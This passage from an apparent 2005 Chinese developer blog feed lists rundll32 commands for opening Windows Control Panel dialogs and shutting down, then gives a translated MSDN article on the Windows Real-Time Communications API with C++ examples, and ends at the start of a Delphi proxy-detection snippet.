命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,2 <BR><BR>　　功能: 显示“控制面板－辅助选项－声音”选项视窗 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,3 <BR><BR>　　功能: 显示“控制面板－辅助选项－显示”选项视窗 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,4 <BR><BR>　　功能: 显示“控制面板－辅助选项－滑鼠”选项视窗 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,5 <BR><BR>　　功能: 显示“控制面板－辅助选项－传统”选项视窗 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1 <BR><BR>　　功能: 执行“控制面板－添加新硬体”向导。 <BR><BR>　　命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL AddPrinter <BR><BR>　　功能: 执行“控制面板－添加新印表机”向导。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1 <BR><BR>　　功能: 显示 “控制面板－添加/删除程式－安装/卸载” 面板。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,2 <BR><BR>　　功能: 显示 “控制面板－添加/删除程式－安装Windows” 面板。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,3 <BR><BR>　　功能: 显示 “控制面板－添加/删除程式－启动盘” 面板。 <BR><BR>　　命令列: rundll32.exe syncui.dll,Briefcase_Create <BR><BR>　　功能: 在桌面上建立一个新的“我的公文包”。 <BR><BR>　　命令列: rundll32.exe diskcopy.dll,DiskCopyRunDll <BR><BR>　　功能: 显示复制软碟视窗 <BR><BR>　　命令列: rundll32.exe apwiz.cpl,NewLinkHere ％1 <BR><BR>　　功能: 显示“建立快捷方式”的对话框，所建立的快捷方式的位置由％1参数决定。 <BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,0 <BR><BR>　　功能: 显示“日期与时间”选项视窗。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,1 <BR><BR>　　功能: 显示“时区”选项视窗。 <BR><BR>　　命令列: rundll32.exe rnaui.dll,RnaDial [某个拨号连接的名称] <BR><BR>　　功能: 显示某个拨号连接的拨号视窗。如果已经拨号连接，则显示目前的连接状态的视窗。 <BR><BR>　　命令列: rundll32.exe rnaui.dll,RnaWizard <BR><BR>　　功能: 显示“新建拨号连接”向导的视窗。 <BR><BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0 <BR><BR>　　功能: 显示“显示属性－背景”选项视窗。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,1 <BR><BR>　　功能: 显示“显示属性－萤屏保护”选项视窗。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,2 <BR><BR>　　功能: 显示“显示属性－外观”选项视窗。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,3 <BR><BR>　　功能: 显示显示“显示属性－属性”选项视窗。 <BR><BR>　　命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL FontsFolder <BR><BR>　　功能: 显示Windows的“字体”档案夹。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @3 <BR><BR>　　功能: 同样是显示Windows的“字体”档案夹。 <BR><BR>　　命令列: rundll32.exe shell32.dll,SHformatDrive <BR><BR>　　功能: 显示格式化软碟对话框。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,0 <BR><BR>　　功能: 显示“控制面板－游戏控制器－一般”选项视窗。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,1 <BR><BR>　　功能: 显示“控制面板－游戏控制器－进阶”选项视窗。 <BR><BR>　　命令列: rundll32.exe mshtml.dll,PrintHTML (HTML文档) <BR><BR>　　功能: 列印HTML文档。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL mlcfg32.cpl <BR><BR>　　功能: 显示Microsoft Exchange一般选项视窗。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @0 <BR><BR>　　功能: 显示“控制面板－滑鼠” 选项 。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @1 <BR><BR>　　功能: 显示 “控制面板－键盘属性－速度”选项视窗。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @1,,1 <BR><BR>　　功能: 显示 “控制面板－键盘属性－语言”选项视窗。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @2 <BR><BR>　　功能: 显示Windows“印表机”档案夹。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @3 <BR><BR>　　功能: 显示Windows“字体”档案夹。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @4 <BR><BR>　　功能: 显示“控制面板－输入法属性－输入法”选项视窗。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL modem.cpl,,add <BR><BR>　　功能: 执行“添加新调制解调器”向导。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,0 <BR><BR>　　功能: 显示“控制面板－多媒体属性－音频”属性页。 <BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,1 <BR><BR>　　功能: 显示“控制面板－多媒体属性－视频”属性页。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,2 <BR><BR>　　功能: 显示“控制面板－多媒体属性－MIDI”属性页。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,3 <BR><BR>　　功能: 显示“控制面板－多媒体属性－CD音乐”属性页。 <BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,4 <BR><BR>　　功能: 显示“控制面板－多媒体属性－设备”属性页。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl @1 <BR><BR>　　功能: 显示“控制面板－声音”选项视窗。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL netcpl.cpl <BR><BR>　　功能: 显示“控制面板－网路”选项视窗。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL odbccp32.cpl <BR><BR>　　功能: 显示ODBC32资料管理选项视窗。 <BR><BR>　　命令列: rundll32.exe shell32.dll,OpenAs_RunDLL <BR><BR>　　功能: 显示指定档案(driveath ilename)的“打开方式”对话框。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL password.cpl <BR><BR>　　功能: 显示“控制面板－密码”选项视窗。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL powercfg.cpl <BR><BR>　　功能: 显示“控制面板－电源管理属性”选项视窗。 <BR><BR>　　命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL <BR><BR>　　PrintersFolder <BR><BR>　　功能: 显示Windows“印表机”档案夹。(同rundll32.exe shell32.dll,Control_RunDLLmain.cpl @2) <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,0 <BR><BR>　　功能: 显示“控制面板－区域设置属性－区域设置”选项视窗。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,1 <BR><BR>　　功能: 显示“控制面板－区域设置属性－数字”选项视窗。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,2 <BR><BR>　　功能: 显示“控制面板－区域设置属性－货币”选项视窗。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,3 <BR><BR>　　功能: 显示“控制面板－区域设置属性－时间”选项视窗。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,4 <BR><BR>　　功能: 显示“控制面板－区域设置属性－日期”选项视窗。 <BR><BR>　　命令列: rundll32.exe desk.cpl,InstallScreenSaver [萤屏保护档案名] <BR><BR>　　功能: 将指定的萤屏保护档案设置为Windows的屏保，并显示萤屏保护属性视窗。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,0 <BR><BR>　　功能: 显示“控制面板－系统属性－传统”属性视窗。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,1 <BR><BR>　　功能: 显示“控制面板－系统属性－设备管理器”属性视窗。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,2 <BR><BR>　　功能: 显示“控制面板－系统属性－硬体配置档案”属性视窗。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,3 <BR><BR>　　功能: 显示“控制面板－系统属性－性能”属性视窗。 <BR><BR>　　命令列: rundll32.exe user.exe,restartwindows <BR><BR>　　功能: 强行关闭所有程式并重启机器。 <BR><BR>　　命令列: rundll32.exe user.exe,exitwindows <BR><BR>　　功能: 强行关闭所有程式并关机。 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL telephon.cpl <BR><BR>　　功能: 显示“拨号属性”选项视窗 <BR><BR>　　命令列: rundll32.exe shell32.dll,Control_RunDLL themes.cpl <BR><BR>　　功能: 显示“桌面主旨”选项面板 <BR><BR>　　当然，不止是VisualBasic，象Delphi.VisualC＋＋等其他程式设计语言也可以通过呼叫外部命令的方法来使用Rundll的这些功能，具体方法这里就不再详细叙述了。灵活的使用Rundll,一定会使你的程式设计轻轻松松，达到事半功倍的效果！ <BR><BR>　　&lt;关机快捷方式&gt; <BR><BR>　　(1). 在桌面空白位置按鼠标右键 -&gt; &lt;新建&gt; -&gt; 选&lt;快捷方式&gt; <BR><BR>　　(2). 在&lt;指令行&gt;键入 rundll.exe user.exe,exitwindows <BR><BR>　　(3). 在&lt;选择快捷方式 的名称&gt;键入&lt;关闭Window&gt;或你想要的名称 -&gt; 按&lt;完成&gt; <BR><BR>　　&lt;重新启动快捷方式&gt; <BR><BR>　　(1). 重复以上 (1) <BR><BR>　　(2). 在&lt;指令行&gt;键入 rundll.exe user.exe,restartwindowsexec <BR><BR>　　(3). 在&lt;选择快捷方式的名称&gt;键入&lt;重新启动Restart&gt;或你想要的名称 -&gt; 按&lt;完成&gt; RUN - &gt; cmd 或者command <BR clear=all></P>
<P>出处：网络转载</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=22" /> 
	  <id>http://www.openx.cn/default.asp?id=22</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[用微软的实时通信API集成丰富的客户端通信]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-14T21:55:50+08:00</updated>
	  <published>2005-09-14T21:55:50+08:00</published>
		  <summary type="html"><![CDATA[<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD>
<P align=center><B>用微软的实时通信API集成丰富的客户端通信<BR></B><BR>翻译：<a href="http://www.openx.cn/mailto:mengjin1978@163.com">孟谨</A></P>
<P>Duane Burton<BR>Sr. Technical Marketing Engineer <BR>Intel Corporation<BR><BR>Jim Huang <BR>Sr. Technical Marketing Engineer <BR>Intel Corporation<BR><BR>2002 年 6 月<BR><BR>应用于：Microsoft Windows? XP <BR><BR>原文出处：<A href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnwxp/html/rtc_api_final.asp?_r=1" target=_blank><FONT size=2>Integrating Rich Client Communications with the Microsoft Real-Time Communications API</FONT></A><BR><BR>&nbsp;<B>摘要</B><BR><BR>　　学习如何创建或集成实时通信（RTC）应用编程接口（API）的基本知识以实现音视频会议、应用程序共享、白板、简单的点对点聊天和音视频调节向导。RTC API 提供了卓越的基于PC的通信革新，这可应用于所有基于 Microsoft Windows XP的应用程序。<BR><BR>源代码下载 <A href="http://www.vckbase.net/code/downcode.asp?id=2571">RTCSampleCode.zip</A>.<BR><B><BR></B>&nbsp;<B>目录</B></P>
<UL>
<LI><A href="http://www.vckbase.net/document/viewdoc/?id=1344#绪论">绪论</A> 
<LI><A href="http://www.vckbase.net/document/viewdoc/?id=1344#RTC客户端接口">RTC客户端接口</A> 
<LI><A href="http://www.vckbase.net/document/viewdoc/?id=1344#选择通信类型">选择通信类型</A> 
<LI><A href="http://www.vckbase.net/document/viewdoc/?id=1344#调整通信设备">调整通信设备</A> 
<LI><A href="http://www.vckbase.net/document/viewdoc/?id=1344#初始化会话">初始化会话</A> 
<LI><A href="http://www.vckbase.net/document/viewdoc/?id=1344#处理RTC事件">处理RTC事件</A> 
<LI><A href="http://www.vckbase.net/document/viewdoc/?id=1344#创建通讯会话">创建通信会话</A> 
<LI><A href="http://www.vckbase.net/document/viewdoc/?id=1344#处理实时流会话事件">处理实时流会话事件</A> 
<LI><A href="http://www.vckbase.net/document/viewdoc/?id=1344#关闭会话">关闭会话</A> 
<LI><A href="http://www.vckbase.net/document/viewdoc/?id=1344#平台性能">平台性能</A> 
<LI><A href="http://www.vckbase.net/document/viewdoc/?id=1344#结论">结论</A> 
<LI><A href="http://www.vckbase.net/document/viewdoc/?id=1344#参考资料">参考资料</A> </LI></UL>
<P>&nbsp;<B><A name=绪论>绪论</A></B></P>
<P>　　微软的实时通信（RTC）应用编程接口（API）提供了卓越的基于PC的通信革新——即时消息、音视频会议和应用程序共享/协作，这可应用于所有基于 Microsoft Windows XP 的应用程序。 <BR>使用RTC的API来进行通信是一个非常简单的过程。 </P>
<OL>
<LI>增强的客户端应用决定客户端通信平台的能力。 
<LI>应用程序在通信期间使用首选的视音频设备。 
<LI>应用程序发起通信会话。 
<LI>在 RTC 层协调数据捕获、压缩和传输，这使得应用程序不用负责这一任务。使用哪一种音视频的编码解码器由通信双方的连接质量决定。 
<LI>参与会话的应用程序接受、解压并重放被传输的数据。 </LI></OL>
<P>[img]http://www.vckbase.net/document/journal/vckbase38/images/rtc_api_final_01.gif[/img]<BR>图一、音视频会议例子界面<BR><BR>　　本文描述了怎样为一个应用程序添加 PC-to-PC 的 RTC 基本能力；我们假定你对使用COM对象开发Windows应用程序已经很熟悉。本文所讨论的源代码可在本文开始所给出的连接里获得。我们以后将会讨论PC-to-Phone、 出席和XML配置。<BR>　　例子代码展示了使用实时通信API实现音视频会议、应用程序共享、白板、简单的点对点聊天和音视频调节向导的基本要素。其他RTC 支持但本文没有讨论的特征有回波抵消（AEC）、前向错误校验（FEC）、 带宽估计、动态抖动缓冲管理、自动增益控制（AGC）和服务质量（QC）控制算法。在《<A href="http://www.vckbase.com/document/viewdoc/?id=1292" target=_blank>Microsoft Windows 实时通信(RTC)客户端的媒体支持</A>》中描述了上述特征。<BR><BR>&nbsp;<B><A name=RTC客户端接口>RTC客户端接口</A></B><BR><BR><I>所需头文件：</I></P><PRE>rtccore.h</PRE>
<P>　　你的应用程序需要通过 CoCreateInstance（）来获得RTC接口，CLSID_RTCClient（GUID = {7a42ea29-a2b7-40c4-b091-f6f024aa89be}）作为参数。一旦获得了接口，用Initialize()来初始化COM对象，以确定该平台的通信能力。 </P><PRE>   // Initialize the RTC COM object
   hr = CoCreateInstance (CLSID_RTCClient, NULL,
      CLSCTX_INPROC_SERVER, IID_IRTCClient,
      (LPVOID *)&m_pClient);      

      // Initialize the client interface
hr = m_pClient-&gt;Initialize();      </PRE><B> <A name=选择通信类型>选择通信类型</A></B><BR><BR>　　下一步是选择首选的通信类型和相关设备（摄像机、麦克风等）。缺省配置是激活所有通信类型。如果会话的参与者能共享应用程序、传送即时消息和音视频会议，那么这些通信类型自动被激活。如果某一参与者不支持某种通信类型，那么所有的参与者都不能激活该类型。 <PRE>m_pClient-&gt;SetPreferredMediaTypes ( RTCMT_ALL, VARIANT_TRUE );</PRE>
<P>会议参与者的平台性能和可用带宽决定了使用哪一种codec。 
<UL>
<LI>视频：Windows RTC 客户端支持分辨率为QCIF（176×144）的H.261和H.263 codecs。 这些比特率可变的codecs以6～125 Kbps传送视频数据。使用IRTCClient方法中的put_MaxBitRate和put_TemporalSpatialTradeOff有可能会影响到视频传送的空间和瞬时清晰度。 
<LI>音频：Windows RTC客户端支持许多音频codec。音频codec由连接的两端共同决定。下表列出了所支持的音频codec。 <BR></LI></UL>
<P><BR>
<TABLE style="BORDER-COLLAPSE: collapse" borderColor=#111111 cellSpacing=0 cellPadding=0 width=806 border=1>
<TBODY>
<TR vAlign=top>
<TH width=140>CODEC</TH>
<TH width=238>Sampling Rate (kHz)</TH>
<TH width=199>Bit Rate (Kbps)</TH>
<TH width=211>Frame Size (msec)</TH></TR>
<TR vAlign=top>
<TD align=middle width=140>G.711</TD>
<TD align=middle width=238>8</TD>
<TD align=middle width=199>64</TD>
<TD align=middle width=211>20</TD></TR>
<TR vAlign=top>
<TD align=middle width=140>G.722.1</TD>
<TD align=middle width=238>16</TD>
<TD align=middle width=199>24</TD>
<TD align=middle width=211>20</TD></TR>
<TR vAlign=top>
<TD align=middle width=140>G.723</TD>
<TD align=middle width=238>8</TD>
<TD align=middle width=199>6.4</TD>
<TD align=middle width=211>30, 60, or 90</TD></TR>
<TR vAlign=top>
<TD align=middle width=140>GSM</TD>
<TD align=middle width=238>8</TD>
<TD align=middle width=199>13</TD>
<TD align=middle width=211>20</TD></TR>
<TR vAlign=top>
<TD align=middle width=140>DVI4</TD>
<TD align=middle width=238>8</TD>
<TD align=middle width=199>32</TD>
<TD align=middle width=211>20</TD></TR>
<TR vAlign=top>
<TD align=middle width=140>SIREN</TD>
<TD align=middle width=238>16</TD>
<TD align=middle width=199>16</TD>
<TD align=middle width=211>20, or 40</TD></TR></TBODY></TABLE><BR><B>&nbsp;<A name=调整通信设备>调整通信设备</A></B><BR><BR>　　选择了首选的通信类型和相关设备之后，调整通信设备。RTC的API提供了向导对摄像机和麦克风进行调整。使用RTCClient中的方法InvokeTuningWizard()可调整它们的设置。<BR><BR>[img]http://www.vckbase.net/document/journal/vckbase38/images/rtc_api_final_02.gif[/img]<BR>图2：摄像机调节向导<BR><BR>[img]http://www.vckbase.net/document/journal/vckbase38/images/rtc_api_final_03.gif[/img]<BR>图3：麦克风调节向导<BR><BR>&nbsp;<B><A name=初始化会话>初始化会话</A></B><BR><BR>　　在应用程序与其他参与者连接之前，它必须能够处理会话中的RTC事件。PC-to-PC的通信中，应用程序捕获即时消息事件、音量事件、媒体事件、客户端消息事件和会话状态改变事件。下述代码展示了怎样创建一个事件过滤器来捕获RTC客户端的特定事件。<BR>　　lEventMask设置了一组应用程序感兴趣的事件。（为获得全部的事件列表，可在 MSDN 站点搜索RTC_EVENT，这样可以获得关于每一事件的更多信息。）CRTCEvents 类在客户端之间分配事件。RTCEvents 对象在应用程序和 IRTCEventNotification 接口之间创建接口。所有的RTC事件由RTCEvents 类处理。 </P><PRE>    // Set the event filter to listen for RTC events
    // Using RTCEF_ALL will listen for all events
    // For the sample application, we will demonstrate how to set the 
    // event listener for a limited set of events.
    long lEventMask = RTCEF_SESSION_STATE_CHANGE |
                 RTCEF_MESSAGING |
                 RTCEF_MEDIA |
                 RTCEF_INTENSITY |
                 RTCEF_CLIENT;

    hr = m_pClient-&gt;put_EventFilter( lEventMask );

    // Create the event sink object
    m_pEvents = new CRTCEvents;

    // initialize the event handler
    hr = m_pEvents-&gt;Advise( m_pClient, m_hWnd );

    // Set the listen mode for RTC client
    // RTCLM_BOTH opens the standard SIP port 5060, as well as
    // a dynamic port.
    hr = m_pClient-&gt;put_ListenForIncomingSessions(RTCLM_BOTH);      </PRE>　　音视频的媒体类型可在会话过程中添加或删除，因此客户端必须能监听这些类型的事件。在"处理实时流会话事件"这一节中可获得关于状态改变和事件处理的更多信息。&nbsp;<BR><BR> <B><A name=处理RTC事件>处理RTC事件</A></B><BR><BR>　　一旦事件处理者 IRTCEventNotification 接收器中进行了注册，接收和处理RTC事件就变得相当的容易了。当例子程序接收到RTC事件时，应用程序的事件处理者就对应用程序的消息处理者发一个消息。OnRTCEvent() 处理应用程序接收到的所有事件。 <PRE>OnRTCEvent(UINT message, WPARAM wParam, LPARAM lParam)
{

    // Based on the RTC_EVENT type, query for the 
    // appropriate event interface and call a helper
    // method to handle the event
    switch ( wParam )
    {
       ...
        case RTCE_MEDIA:
            {
                IRTCMediaEvent * pEvent = NULL;

                hr = pDisp-&gt;QueryInterface( IID_IRTCMediaEvent,
                                            (void **)&pEvent );

                if (SUCCEEDED(hr))
                {
                    OnRTCMediaEvent(pEvent);
                    SAFE_RELEASE(pEvent);
                }
            }
            break;
       ...
}      </PRE> <B><A name=创建通讯会话>创建通信会话</A></B><BR><BR>　　当你在RTC中发起一个呼叫之前，你必须创建并且初始化一个会话。 然后你可以输入参与者的IP地址来发起一个呼叫。可可能通过属于一个e-mail 地址或者一个电话号码来激活一个会话。然而，这一功能需要一个SIP注册服务器，对它的讨论超出了本文的范围。参阅MSDN可获得关于SIP注册服务器的更多信息。 <BR>　　RTC目前还不支持多方视频通话，因此应用程序在初始化一个新会话之前，必须保证没有视频会议在进行。在它第一个发布版本中，Windows RTC客户端只支持多方电话会议，并不支持多方音视频会话和视频会议。<BR>　　为与另一台PC通话，确定RTC会话类型并且使用IRTCSession接口创建一个同类型的会话。下列代码展示了如何创建会话。<BR><PRE>HRESULT CAVDConfDlg::MakeCall(RTC_SESSION_TYPE enType, BSTR bstrURI)
{
    ...
 
    // Create the session
    IRTCSession * pSession = NULL;

    hr = m_pClient-&gt;CreateSession(enType, NULL, NULL, 0, &pSession);

    // Add the participant to the session
    hr = pSession-&gt;AddParticipant(bstrURI, NULL, &m_Participant);

    ...
    return S_OK;
}      </PRE><B> <A name=处理实时流会话事件>处理实时流会话事件</A></B><BR><BR>根据不同的会话类型，存在媒体事件、音量事件、即时消息事件和会话状态改变事件。<BR><BR><I>媒体事件</I><BR>　　处理媒体事件需要得到媒体类型、事件类型和原因，然后发送消息给会话窗口。应用程序可以使用get_MediaType()从视频、音频、T120和实时传输协议（RTP）事件中接收消息。例子程序展示了如何获得媒体事件并将其发送给媒体对话框去处理。<BR><PRE>void CAVDConfDlg::OnRTCMediaEvent(IRTCMediaEvent *pEvent)
{
    ...

    hr = pEvent-&gt;get_MediaType(&lMediaType);

    hr = pEvent-&gt;get_EventType(&enType);           
    
    hr = pEvent-&gt;get_EventReason(&enReason);

    if ((m_AVDlg) && (m_AVDlg.GetState () != RTCSS_IDLE))
    {
        // Deliver the media state to the session window
        m_AVDlg.DeliverMedia(lMediaType, enType, enReason);
    }
}      </PRE><I>音量事件</I><BR>　　当扬声器或者麦克风的音量水平发生变化时产生音量事件。应用程序可使用get_Direction()函数获得发生改变的音频设备。一旦确定了设备，应用程序可获得设备的属性并处理改变。应用程序可通过slider控件来显示音量的改变，或者显示给用户一个音量表。<BR><PRE>void CAVDConfDlg::OnRTCIntensityEvent(IRTCIntensityEvent *pEvent)
{
    ...

    hr = pEvent-&gt;get_Direction(&enDevice);

    hr = pEvent-&gt;get_Level(&lLevel);

    hr = pEvent-&gt;get_Min(&lMin);

    hr = pEvent-&gt;get_Max(&lMax);

    if (m_AVDlg.GetState () != RTCSS_IDLE)
    {
        // Deliver the intensity state to the session window
        m_AVDlg.DeliverIntensity(enDevice, lLevel);
    }
}      </PRE><I>即时消息事件</I><BR>　　使用IRTCMessagingEvent可在会话参与者中传递即时消息。当一个消息事件产生时，应用程序必须获得会话和事件类型，得到相关会话中的参与者信息，以便能将消息传递给适当一方。事件处理者也能处理会话状态的改变。<BR><PRE>HRESULT CAVDConfDlg::OnRTCMessagingEvent(IRTCMessagingEvent *pEvent)
{
    ...

    hr = pEvent-&gt;get_Session(&pSession);

    hr = pEvent-&gt;get_EventType(&enType);

    hr = pEvent-&gt;get_Participant(&pParticipant);

    if (enType == RTCMSET_MESSAGE)
    {
        hr = pEvent-&gt;get_MessageHeader(&bstrContentType);

        hr = pEvent-&gt;get_Message(&bstrMessage);

        // Deliver the message to the session window
        if (m_cMessageDlg)
      m_cMessageDlg.DeliverMessage(pParticipant, bstrContentType, 
         bstrMessage);

    }
    else if (enType == RTCMSET_STATUS)
    {
        hr = pEvent-&gt;get_UserStatus(&enStatus);

        // Deliver the user status to the session window
        m_cMessageDlg.DeliverUserStatus(pParticipant, enStatus);
    }
   return S_OK;
}</PRE><I>会话状态改变事件</I><BR>　　会话状态改变事件的处理过程与其他RTC事件相同。会话状态的改变包括建立一个新的音/视频会话，或者通知客户端一个到来的即时消息。下列例子展示了当请求会话时所作的处理；客户端通过一阵铃声被通知，请求被应答，然后会话开始。<BR><PRE>Void CAVDConfDlg::OnRTCSessionStateChangeEvent(IRTCSessionStateChangeEvent *pEvent)
{
    ...

    hr = pEvent-&gt;get_State(&enState);

    hr = pEvent-&gt;get_Session(&pSession);

    switch ( enState )
   {
   case RTCSS_INCOMING:
        {
      ... 

            // This event is called when an incoming call occurs
            RTC_SESSION_TYPE enType;

            hr = pSession-&gt;get_Type(&enType); 

            // Ring the bell
            m_pClient-&gt;PlayRing(RTCRT_PHONE, VARIANT_TRUE);

            // Accept the session
            hr = pSession-&gt;Answer();
         }
     }
    ...
}      </PRE>应用程序共享：<BR>　　开启T120应用程序共享非常容易，只需调用 IRTCClient 接口的 StartT120Applet 方法。<PRE>hr = m_pClient-&gt;StartT120Applet ( RTCTA_APPSHARING );</PRE>
<P>白板支持：<BR>　　在应用程序中支持白板，需要调用 StartT120Applet 方法，使用 RTCTA_WHITEBOARD 枚举作为参数。</P><PRE>hr = m_pClient-&gt;StartT120Applet ( RTCTA_WHITEBOARD );</PRE>
<P><BR>&nbsp;<B><A name=关闭会话>关闭会话</A></B><BR><BR>　　要关闭一个会话，所有正在运行T120的应用程序必须被关闭。然后RTC 客户端接口调用ShutDown()并完成关闭会话的过程。&nbsp;<BR><BR> <B><A name=平台性能>平台性能</A></B><BR><BR>　　使用RTC进行通信需要处理器具有适当的性能。下列例子中，一个1 GHz的Pentium? III处理器和一个2.2 GHz的Pentium 4处理器用于确定当使用RTC特征时处理器的利用率。下表描述了使用本文介绍的RTC特征时处理器的利用率。<BR><BR>
<TABLE style="COLOR: #000000; BORDER-COLLAPSE: collapse" borderColor=#111111 cellSpacing=0 cellPadding=0 width=870 border=1>
<TBODY>
<TR vAlign=top>
<TH width=272>任务</TH>
<TH width=307>P4 处理器 at 2.2-GHz (% CPU 占用率n)<SUP>1</SUP> </TH>
<TH width=277>P III 处理器 at 1.0-GHz (% CPU 占用率)<SUP>2</SUP></TH></TR>
<TR vAlign=top>
<TD align=middle width=272>仅音/视频会议 </TD>
<TD align=middle width=307>9%</TD>
<TD align=middle width=277>22%</TD></TR>
<TR vAlign=top>
<TD align=middle width=272>添加程序共享（共享IE浏览器)</TD>
<TD align=middle width=307>10%</TD>
<TD align=middle width=277>35%</TD></TR>
<TR vAlign=top>
<TD align=middle width=272>增加白板</TD>
<TD align=middle width=307>12%</TD>
<TD align=middle width=277>37%</TD></TR>
<TR vAlign=top>
<TD align=middle width=272>增加即时消息</TD>
<TD align=middle width=307>12%</TD>
<TD align=middle width=277>37%</TD></TR></TBODY></TABLE>
<UL>
<LI>注1：P4处理器配置：Intel?主板D850MV；256MB PC800 RDRAM，主板集成声卡， nVidia* GeForce*2 Ultra; Windows XP专业版 
<LI>注2： P III处理器配置：Intel 主板VC820; 256MB PC133 SDRAM, nVidia* GeForce*2 Ultra, Creative* Sound Blaster* Live*, Windows XP 专业版 </LI></UL>
<P>&nbsp;<B><A name=结论>结论</A></B><BR><BR>　　通过使用实时通信客户端API，在 Windows XP 下开发通信工具已变得相当简单。开发者可迅速设计、配置和开发他们的应用程序。现有的音视频会议应用程序可通过添加 RTC 丰富的通信特征而获益。使用 RTC API 进行开发的程序也可以从一个统一的通信协议中获益。这提高了你的程序与其它文本消息和音视频会议程序互相合作的能力。将 RTC API 与 Intel 的处理器以及 Microsoft Windows XP 相结合，从而向最终用户传达一种创新的通信体验。<BR><BR>&nbsp;<B><A name=参考资料>参考资料</A></B></P>
<UL>
<LI><A href="http://cedar.intel.com/" target=_blank>Intel Developer Services</A> 
<LI><A href="http://msdn.microsoft.com/library/en-us/dnwxp/html/winrtcapplications.asp" target=_blank>Media Support in the Microsoft Windows Real-time Communications Client</A> 
<LI><A href="http://msdn.microsoft.com/library/en-us/rtcclnt/rtc/rtc_overview.asp" target=_blank>Microsoft Platform SDK: Real-Time Communications Client</A> </LI></UL>
<P><BR></P></TD></TR></TBODY></TABLE><BR><SPAN class=small>本文由 <A href="http://www.vckbase.net/vckbase/msdnmtt" target=_blank>VCKBASE MTT </A>翻译</SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=21" /> 
	  <id>http://www.openx.cn/default.asp?id=21</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[用Delphi检测IE使用的代理服务器]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-14T21:10:36+08:00</updated>
	  <published>2005-09-14T21:10:36+08:00</published>
		  <summary type="html"><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //-----------------------------------------------<BR>　　//记得引用 WinInet 单元<BR>　　//-----------------------------------------------<BR>　　uses<BR>　　WinInet 
<P>　　//----------------------------------------------<BR>　　//定义要使用的函数<BR>　　//----------------------------------------------</P>
